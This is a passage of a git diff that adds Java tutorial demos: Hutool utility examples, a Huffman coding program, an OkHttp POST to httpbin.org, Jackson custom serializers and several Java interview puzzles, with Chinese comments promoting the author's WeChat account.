+ OkHttpClient client = new OkHttpClient();
+
+ String post(String url, String json) throws IOException {
+ RequestBody body = RequestBody.create(json, JSON);
+ Request request = new Request.Builder()
+ .url(url)
+ .post(body)
+ .build();
+ try (Response response = client.newCall(request).execute()) {
+ return response.body().string();
+ }
+ }
+
+ public static void main(String[] args) throws IOException {
+ OkHttpPostDemo example = new OkHttpPostDemo();
+ String json = "{'name':'二哥'}";
+ String response = example.post("https://httpbin.org/post", json);
+ System.out.println(response);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java b/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java
new file mode 100644
index 0000000000..8fed997232
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java
@@ -0,0 +1,81 @@
+package com.itwanger.huffman;
+
+import cn.hutool.Hutool;
+import cn.hutool.core.util.HexUtil;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class HuffmanNode {
+ int item;
+ char c;
+ HuffmanNode left;
+ HuffmanNode right;
+}
+
+class ImplementComparator implements Comparator {
+ public int compare(HuffmanNode x, HuffmanNode y) {
+ return x.item - y.item;
+ }
+}
+
+public class Huffman {
+ public static void printCode(HuffmanNode root, String s) {
+ if (root.left == null && root.right == null && Character.isLetter(root.c)) {
+
+ System.out.println(root.c + " | " + s);
+
+ return;
+ }
+ printCode(root.left, s + "0");
+ printCode(root.right, s + "1");
+ }
+
+ public static void main(String[] args) {
+ int n = 4;
+ char[] charArray = { 'A', 'B', 'C', 'D' };
+ int[] charfreq = { 5, 1, 6, 3 };
+
+ PriorityQueue q = new PriorityQueue(n, new ImplementComparator());
+
+ for (int i = 0; i < n; i++) {
+ HuffmanNode hn = new HuffmanNode();
+
+ hn.c = charArray[i];
+ hn.item = charfreq[i];
+
+ hn.left = null;
+ hn.right = null;
+
+ q.add(hn);
+ }
+
+ HuffmanNode root = null;
+
+ while (q.size() > 1) {
+
+ HuffmanNode x = q.peek();
+ q.poll();
+
+ HuffmanNode y = q.peek();
+ q.poll();
+
+ HuffmanNode f = new HuffmanNode();
+
+ f.item = x.item + y.item;
+ f.c = '-';
+ f.left = x;
+ f.right = y;
+ root = f;
+
+ q.add(f);
+ }
+ System.out.println(" 字符 | 霍夫曼编码 ");
+ System.out.println("--------------------");
+ printCode(root, "");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java
new file mode 100644
index 0000000000..c4e3341177
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java
@@ -0,0 +1,25 @@
+package com.itwanger.hutool.bimap;
+
+import cn.hutool.core.map.BiMap;
+
+import java.util.HashMap;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class BiMapDemo {
+ public static void main(String[] args) {
+BiMap biMap = new BiMap<>(new HashMap<>());
+biMap.put("wanger", "沉默王二");
+biMap.put("wangsan", "沉默王三");
+
+// get value by key
+biMap.get("wanger");
+biMap.get("wangsan");
+
+// get key by value
+biMap.getKey("沉默王二");
+biMap.getKey("沉默王三");
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java
new file mode 100644
index 0000000000..0604a31eac
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java
@@ -0,0 +1,57 @@
+package com.itwanger.hutool.cache;
+
+import cn.hutool.cache.Cache;
+import cn.hutool.cache.CacheUtil;
+import cn.hutool.core.date.DateUnit;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class CacheDemo {
+ public static void main(String[] args) {
+Cache fifoCache = CacheUtil.newFIFOCache(3);
+fifoCache.put("key1", "沉默王一");
+fifoCache.put("key2", "沉默王二");
+fifoCache.put("key3", "沉默王三");
+fifoCache.put("key4", "沉默王四");
+
+// 大小为 3,所以 key3 放入后 key1 被清除
+String value1 = fifoCache.get("key1");
+ System.out.println(value1);
+
+ lfu();
+ lru();
+ }
+
+ public static void lfu() {
+Cache lfuCache = CacheUtil.newLFUCache(3);
+
+lfuCache.put("key1", "沉默王一");
+// 使用次数+1
+lfuCache.get("key1");
+lfuCache.put("key2", "沉默王二");
+lfuCache.put("key3", "沉默王三");
+lfuCache.put("key4", "沉默王四");
+
+// 由于缓存容量只有 3,当加入第 4 个元素的时候,最少使用的将被移除(2,3被移除)
+String value2 = lfuCache.get("key2");
+String value3 = lfuCache.get("key3");
+System.out.println(value2);
+System.out.println(value3);
+ }
+
+ public static void lru() {
+Cache lruCache = CacheUtil.newLRUCache(3);
+
+lruCache.put("key1", "沉默王一");
+lruCache.put("key2", "沉默王二");
+lruCache.put("key3", "沉默王三");
+// 使用时间近了
+lruCache.get("key1");
+lruCache.put("key4", "沉默王四");
+
+// 由于缓存容量只有 3,当加入第 4 个元素的时候,最久使用的将被移除(2)
+String value2 = lruCache.get("key2");
+System.out.println(value2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java b/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java
new file mode 100644
index 0000000000..b315ae6846
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java
@@ -0,0 +1,11 @@
+package com.itwanger.hutool.clone;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class CloneableTest implements Cloneable {
+ public static void main(String[] args) throws CloneNotSupportedException {
+ CloneableTest cloneableTest = new CloneableTest();
+ CloneableTest clone1 = (CloneableTest) cloneableTest.clone();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java
new file mode 100644
index 0000000000..ccd351a21c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java
@@ -0,0 +1,20 @@
+package com.itwanger.hutool.console;
+
+import cn.hutool.core.lang.Console;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ConsoleDemo {
+ public static void main(String[] args) {
+ // 打印字符串
+ Console.log("沉默王二,一枚有趣的程序员");
+
+ // 打印字符串模板
+ Console.log("洛阳是{}朝古都",13);
+
+ int [] ints = {1,2,3,4};
+ // 打印数组
+ Console.log(ints);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java
new file mode 100644
index 0000000000..46a6c8be4e
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java
@@ -0,0 +1,26 @@
+package com.itwanger.hutool.convert;
+
+import cn.hutool.core.convert.Convert;
+
+import java.util.Date;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ConvertDemo {
+ public static void main(String[] args) {
+String param = "10";
+int paramInt = Convert.toInt(param);
+int paramIntDefault = Convert.toInt(param, 0);
+ System.out.println(paramInt);
+ System.out.println(paramIntDefault);
+
+String dateStr = "2020年09月29日";
+Date date = Convert.toDate(dateStr);
+ System.out.println(date);
+
+String unicodeStr = "沉默王二";
+String unicode = Convert.strToUnicode(unicodeStr);
+ System.out.println(unicode);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java
new file mode 100644
index 0000000000..d2f0310eef
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java
@@ -0,0 +1,18 @@
+package com.itwanger.hutool.crypto;
+
+import cn.hutool.crypto.SecureUtil;
+import cn.hutool.crypto.symmetric.AES;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class SecureUtilDemo {
+ static AES aes = SecureUtil.aes();
+ public static void main(String[] args) {
+ String encry = aes.encryptHex("沉默王二");
+ System.out.println(encry);
+ String oo = aes.decryptStr(encry);
+ System.out.println(oo);
+ }
+
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java
new file mode 100644
index 0000000000..96f21a0441
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java
@@ -0,0 +1,55 @@
+package com.itwanger.hutool.datetime;
+
+import cn.hutool.core.date.*;
+
+import java.util.Date;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class DateUtilDemo {
+ public static void main(String[] args) {
+Date date = DateUtil.date();
+String now = DateUtil.now();
+String today= DateUtil.today();
+
+ System.out.println(date);
+ System.out.println(now);
+ System.out.println(today);
+
+ str2Date();
+ between();
+ zodiac();
+
+ }
+
+ public static void str2Date() {
+//String dateStr = "2020-09-29";
+ String dateStr = "2020年09月29日";
+Date date = DateUtil.parse(dateStr);
+ System.out.println(date);
+ }
+
+ public static void between() {
+String dateStr1 = "2020-09-29 22:33:23";
+Date date1 = DateUtil.parse(dateStr1);
+
+String dateStr2 = "2020-10-01 23:34:27";
+Date date2 = DateUtil.parse(dateStr2);
+
+long betweenDay = DateUtil.between(date1, date2, DateUnit.MS);
+String formatBetween = DateUtil.formatBetween(betweenDay, BetweenFormater.Level.SECOND);
+ System.out.println(formatBetween);
+ }
+
+ public static void zodiac() {
+String zodiac = DateUtil.getZodiac(Month.DECEMBER.getValue(), 10);
+String chineseZodiac = DateUtil.getChineseZodiac(1989);
+ System.out.println(zodiac);
+ System.out.println(chineseZodiac);
+ }
+
+ public static void chinese() {
+ ChineseDate chineseDate = new ChineseDate(1989,11,13);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java
new file mode 100644
index 0000000000..7c60a4d9ac
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java
@@ -0,0 +1,20 @@
+package com.itwanger.hutool.dict;
+
+import cn.hutool.core.date.DateTime;
+import cn.hutool.core.lang.Dict;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class DictDemo {
+ public static void main(String[] args) {
+Dict dict = Dict.create()
+ .set("age", 18)
+ .set("name", "沉默王二")
+ .set("birthday", DateTime.now());
+
+int age = dict.getInt("age");
+String name = dict.getStr("name");
+ System.out.println(age + name);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java
new file mode 100644
index 0000000000..f0c28231e2
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java
@@ -0,0 +1,16 @@
+package com.itwanger.hutool.idcard;
+
+import cn.hutool.core.util.IdcardUtil;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class IdcardUtilDemo {
+ public static void main(String[] args) {
+String ID_18 = "321083197812162119";
+String ID_15 = "150102880730303";
+
+boolean valid = IdcardUtil.isValidCard(ID_18);
+boolean valid15 = IdcardUtil.isValidCard(ID_15);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java
new file mode 100644
index 0000000000..0bfb9a14a1
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java
@@ -0,0 +1,38 @@
+package com.itwanger.hutool.img;
+
+import cn.hutool.core.img.ImgUtil;
+import cn.hutool.core.io.FileUtil;
+
+import java.awt.*;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ImgUtilDemo {
+ public static void main(String[] args) {
+ImgUtil.scale(
+ FileUtil.file("hutool/wangsan.jpg"),
+ FileUtil.file("hutool/wangsan_small.jpg"),
+ 0.5f
+);
+
+
+ImgUtil.cut(
+ FileUtil.file("hutool/wangsan.jpg"),
+ FileUtil.file("hutool/wangsan_cut.jpg"),
+ new Rectangle(200, 200, 100, 100)
+);
+
+ImgUtil.pressText(//
+ FileUtil.file("hutool/wangsan.jpg"),
+ FileUtil.file("hutool/wangsan_logo.jpg"),
+ "沉默王二", Color.WHITE,
+ new Font("黑体", Font.BOLD, 100),
+ 0,
+ 0,
+ 0.8f
+);
+
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java
new file mode 100644
index 0000000000..650a8f2e55
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java
@@ -0,0 +1,18 @@
+package com.itwanger.hutool.io;
+
+import cn.hutool.core.io.FileUtil;
+import cn.hutool.core.io.IoUtil;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class IODemo {
+ public static void main(String[] args) {
+BufferedInputStream in = FileUtil.getInputStream("hutool/origin.txt");
+BufferedOutputStream out = FileUtil.getOutputStream("hutool/to.txt");
+long copySize = IoUtil.copy(in, out, IoUtil.DEFAULT_BUFFER_SIZE);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java
new file mode 100644
index 0000000000..8f437670cf
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java
@@ -0,0 +1,19 @@
+package com.itwanger.hutool.log;
+
+import cn.hutool.log.Log;
+import cn.hutool.log.LogFactory;
+import cn.hutool.log.StaticLog;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class LogDemo {
+ // 推荐创建不可变静态类成员变量
+ private static final Log log = LogFactory.get();
+
+ public static void main(String[] args) {
+ log.debug("难得糊涂");
+
+ StaticLog.info("爽啊 {}.", "沉默王二的文章");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java
new file mode 100644
index 0000000000..5e8668a780
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java
@@ -0,0 +1,53 @@
+package com.itwanger.hutool.reflect;
+
+import cn.hutool.core.util.ReflectUtil;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ReflectDemo {
+ private int id;
+
+ public ReflectDemo() {
+ System.out.println("构造方法");
+ }
+
+ public void print() {
+ System.out.println("我是沉默王二");
+ }
+
+ public static void main(String[] args) throws IllegalAccessException {
+ // 构建对象
+ ReflectDemo reflectDemo = ReflectUtil.newInstance(ReflectDemo.class);
+
+ // 获取构造方法
+ Constructor[] constructors = ReflectUtil.getConstructors(ReflectDemo.class);
+ for (Constructor constructor : constructors) {
+ System.out.println(constructor.getName());
+ }
+
+ // 获取字段
+ Field field = ReflectUtil.getField(ReflectDemo.class, "id");
+ field.setInt(reflectDemo, 10);
+ // 获取字段值
+ System.out.println(ReflectUtil.getFieldValue(reflectDemo, field));
+
+ // 获取所有方法
+ Method[] methods = ReflectUtil.getMethods(ReflectDemo.class);
+ for (Method m : methods) {
+ System.out.println(m.getName());
+ }
+
+ // 获取指定方法
+ Method method = ReflectUtil.getMethod(ReflectDemo.class, "print");
+ System.out.println(method.getName());
+
+
+ // 执行方法
+ ReflectUtil.invoke(reflectDemo, "print");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java
new file mode 100644
index 0000000000..7a49c9f932
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java
@@ -0,0 +1,24 @@
+package com.itwanger.hutool.setting;
+
+import cn.hutool.setting.Setting;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class SettingDemo {
+ private final static String SETTING = "hutool/example.setting";
+ public static void main(String[] args) {
+ // 初始化 Setting
+ Setting setting = new Setting(SETTING);
+
+ // 读取
+ setting.getStr("name", "沉默王二");
+
+ // 在配置文件变更时自动加载
+ setting.autoLoad(true);
+
+ // 通过代码方式增加键值对
+ setting.set("birthday", "2020年09月29日");
+ setting.store(SETTING);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java
new file mode 100644
index 0000000000..4f9adbf554
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java
@@ -0,0 +1,14 @@
+package com.itwanger.hutool.str;
+
+import cn.hutool.core.util.StrUtil;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StrUtilDemo {
+ public static void main(String[] args) {
+String template = "{},一枚沉默但有趣的程序员,喜欢他的文章的话,请微信搜索{}";
+String str = StrUtil.format(template, "沉默王二", "沉默王二");
+ System.out.println(str);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java
new file mode 100644
index 0000000000..73187174f8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java
@@ -0,0 +1,13 @@
+package com.itwanger.hutool.validator;
+
+import cn.hutool.core.lang.Validator;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ValidatorDemo {
+ public static void main(String[] args) {
+Validator.isEmail("沉默王二");
+Validator.isMobile("itwanger.com");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java
new file mode 100644
index 0000000000..30f3da83a7
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java
@@ -0,0 +1,15 @@
+package com.itwanger.hutool.zip;
+
+import cn.hutool.core.util.ZipUtil;
+
+import java.io.File;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ZipUtilDemo {
+ public static void main(String[] args) {
+ZipUtil.zip("hutool", "hutool.zip");
+File unzip = ZipUtil.unzip("hutool.zip", "hutoolzip");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java
new file mode 100644
index 0000000000..3b822f9af5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java
@@ -0,0 +1,19 @@
+package com.itwanger.interview.date1201;
+
+import java.math.BigDecimal;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class BigDecimalDemo {
+ public static void main(String[] args) {
+BigDecimal bd1 = new BigDecimal("2.0");
+BigDecimal bd2 = new BigDecimal("2.00");
+
+System.out.println("equals: " + bd1.equals(bd2));
+System.out.println("compareTo: " + bd1.compareTo(bd2));
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java
new file mode 100644
index 0000000000..30e728b18b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java
@@ -0,0 +1,43 @@
+package com.itwanger.interview.date1201;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class CompareDemo {
+ public static void main(String[] args) {
+ List list = new ArrayList<>();
+ list.add(new Employee(1));
+ list.add(new Employee(Integer.MIN_VALUE));
+ list.add(new Employee(Integer.MAX_VALUE));
+ Collections.sort(list);
+ System.out.println(list);
+ }
+}
+
+class Employee implements Comparable {
+ private int id;
+
+ public Employee(int id) {
+ this.id = id;
+ }
+
+ @Override
+ public int compareTo(Object o) {
+ Employee emp = (Employee) o;
+ return this.id - emp.id;
+ }
+
+ @Override
+ public String toString() {
+ return "Employee{" +
+ "id=" + id +
+ '}';
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java
new file mode 100644
index 0000000000..f3a95305f4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java
@@ -0,0 +1,22 @@
+package com.itwanger.interview.date1201;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class ExceptionDemo {
+ public static void main(String[] args) {
+ Super s = new Child();
+ s.write();
+ }
+}
+class Super{
+ public void write() throws NullPointerException { }
+}
+
+class Child extends Super {
+ @Override
+ public void write() throws RuntimeException { }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java
new file mode 100644
index 0000000000..ba33259ab4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java
@@ -0,0 +1,36 @@
+package com.itwanger.interview.date1201;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+class LaoWang{
+ public LaoWang() {
+ write();
+ read();
+ }
+ public void write() {
+ System.out.println("老王写了一本《基督山伯爵》");
+ }
+
+ private void read() {
+ System.out.println("老王在读《哈姆雷特》");
+ }
+}
+class XiaoWang extends LaoWang {
+ @Override
+ public void write() {
+ System.out.println("小王写了一本《茶花女》");
+ }
+
+ private void read() {
+ System.out.println("小王在读《威尼斯商人》");
+ }
+}
+public class PrivateOrrideTest {
+ public static void main(String[] args) {
+ LaoWang wang = new XiaoWang();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java
new file mode 100644
index 0000000000..68e83d8329
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java
@@ -0,0 +1,24 @@
+package com.itwanger.interview.date1201;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class StaticOrrideTest {
+ public static void main(String[] args) {
+ Laozi zi = new Xiaozi();
+ zi.write();
+ }
+}
+class Laozi{
+ public static void write() {
+ System.out.println("老子写了一本《基督山伯爵》");
+ }
+}
+class Xiaozi extends Laozi {
+ public static void write() {
+ System.out.println("小子写了一本《茶花女》");
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java
new file mode 100644
index 0000000000..16ac3d9eb0
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java
@@ -0,0 +1,15 @@
+package com.itwanger.interview.date1201;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class Test {
+ public static void main(String[] args) {
+ System.out.println(Math.min(Double.MIN_VALUE, 0.0d));
+ System.out.println(Double.MIN_VALUE);
+ System.out.println(Integer.MIN_VALUE);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java
new file mode 100644
index 0000000000..7bab4eecda
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java
@@ -0,0 +1,56 @@
+package com.itwanger.interview.date1201;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class Test1 {
+ public static void main(String[] args) {
+ returnTryExec();
+ returnCatchExec();
+ exitTryExec();
+ exitCatchExec();
+ }
+
+ public static int returnTryExec() {
+ try {
+ return 0;
+ } catch (Exception e) {
+ } finally {
+ System.out.println("finally returnTryExec");
+ return -1;
+ }
+ }
+
+ public static int returnCatchExec() {
+ try {
+
+ } catch (Exception e) {
+ return 0;
+ } finally {
+ System.out.println("finally returnCatchExec");
+ return -1;
+ }
+ }
+
+ public static void exitTryExec() {
+ try {
+ System.exit(0);
+ } catch (Exception e) {
+ } finally {
+ System.out.println("finally exitTryExec");
+ }
+ }
+
+ public static void exitCatchExec() {
+ try {
+
+ } catch (Exception e) {
+ System.exit(0);
+ } finally {
+ System.out.println("finally exitCatchExec");
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java
new file mode 100644
index 0000000000..904ebca760
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java
@@ -0,0 +1,23 @@
+package com.itwanger.interview.date1201;
+
+import com.google.gson.JsonNull;
+
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/1
+ */
+public class Test2 {
+ public static void main(String[] args) {
+ char[] chars = new char[]{'\u0097'};
+ String str = new String(chars);
+ System.out.println(str);
+ byte[] bytes = str.getBytes(Charset.forName("GB2312"));
+ System.out.println(Arrays.toString(bytes));
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java
new file mode 100644
index 0000000000..06be8358b1
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java
@@ -0,0 +1,87 @@
+package com.itwanger.jackson;
+
+import com.fasterxml.jackson.core.JsonParser;
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.core.Version;
+import com.fasterxml.jackson.databind.DeserializationContext;
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
+import com.fasterxml.jackson.databind.module.SimpleModule;
+import com.fasterxml.jackson.databind.node.IntNode;
+
+import java.io.IOException;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class CustomDeserializer extends StdDeserializer {
+ protected CustomDeserializer(Class> vc) {
+ super(vc);
+ }
+
+ public CustomDeserializer() {
+ this(null);
+ }
+
+ @Override
+ public Woman deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException {
+ JsonNode node = p.getCodec().readTree(p);
+ Woman woman = new Woman();
+ int age = (Integer) ((IntNode) node.get("age")).numberValue();
+ String name = node.get("name").asText();
+ woman.setAge(age);
+ woman.setName(name);
+ return woman;
+ }
+
+ public static void main(String[] args) throws JsonProcessingException {
+ObjectMapper mapper = new ObjectMapper();
+SimpleModule module =
+ new SimpleModule("CustomDeserializer", new Version(1, 0, 0, null, null, null));
+module.addDeserializer(Woman.class, new CustomDeserializer());
+mapper.registerModule(module);
+String json = "{ \"name\" : \"三妹\", \"age\" : 18 }";
+Woman woman = mapper.readValue(json, Woman.class);
+System.out.println(woman);
+ }
+}
+class Woman{
+ private int age;
+ private String name;
+
+ public Woman() {
+ }
+
+ public Woman(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ @Override
+ public String toString() {
+ return "Woman{" +
+ "age=" + age +
+ ", name='" + name + '\'' +
+ '}';
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java
new file mode 100644
index 0000000000..9c0f4addd5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java
@@ -0,0 +1,72 @@
+package com.itwanger.jackson;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.core.Version;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.module.SimpleModule;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+
+/**
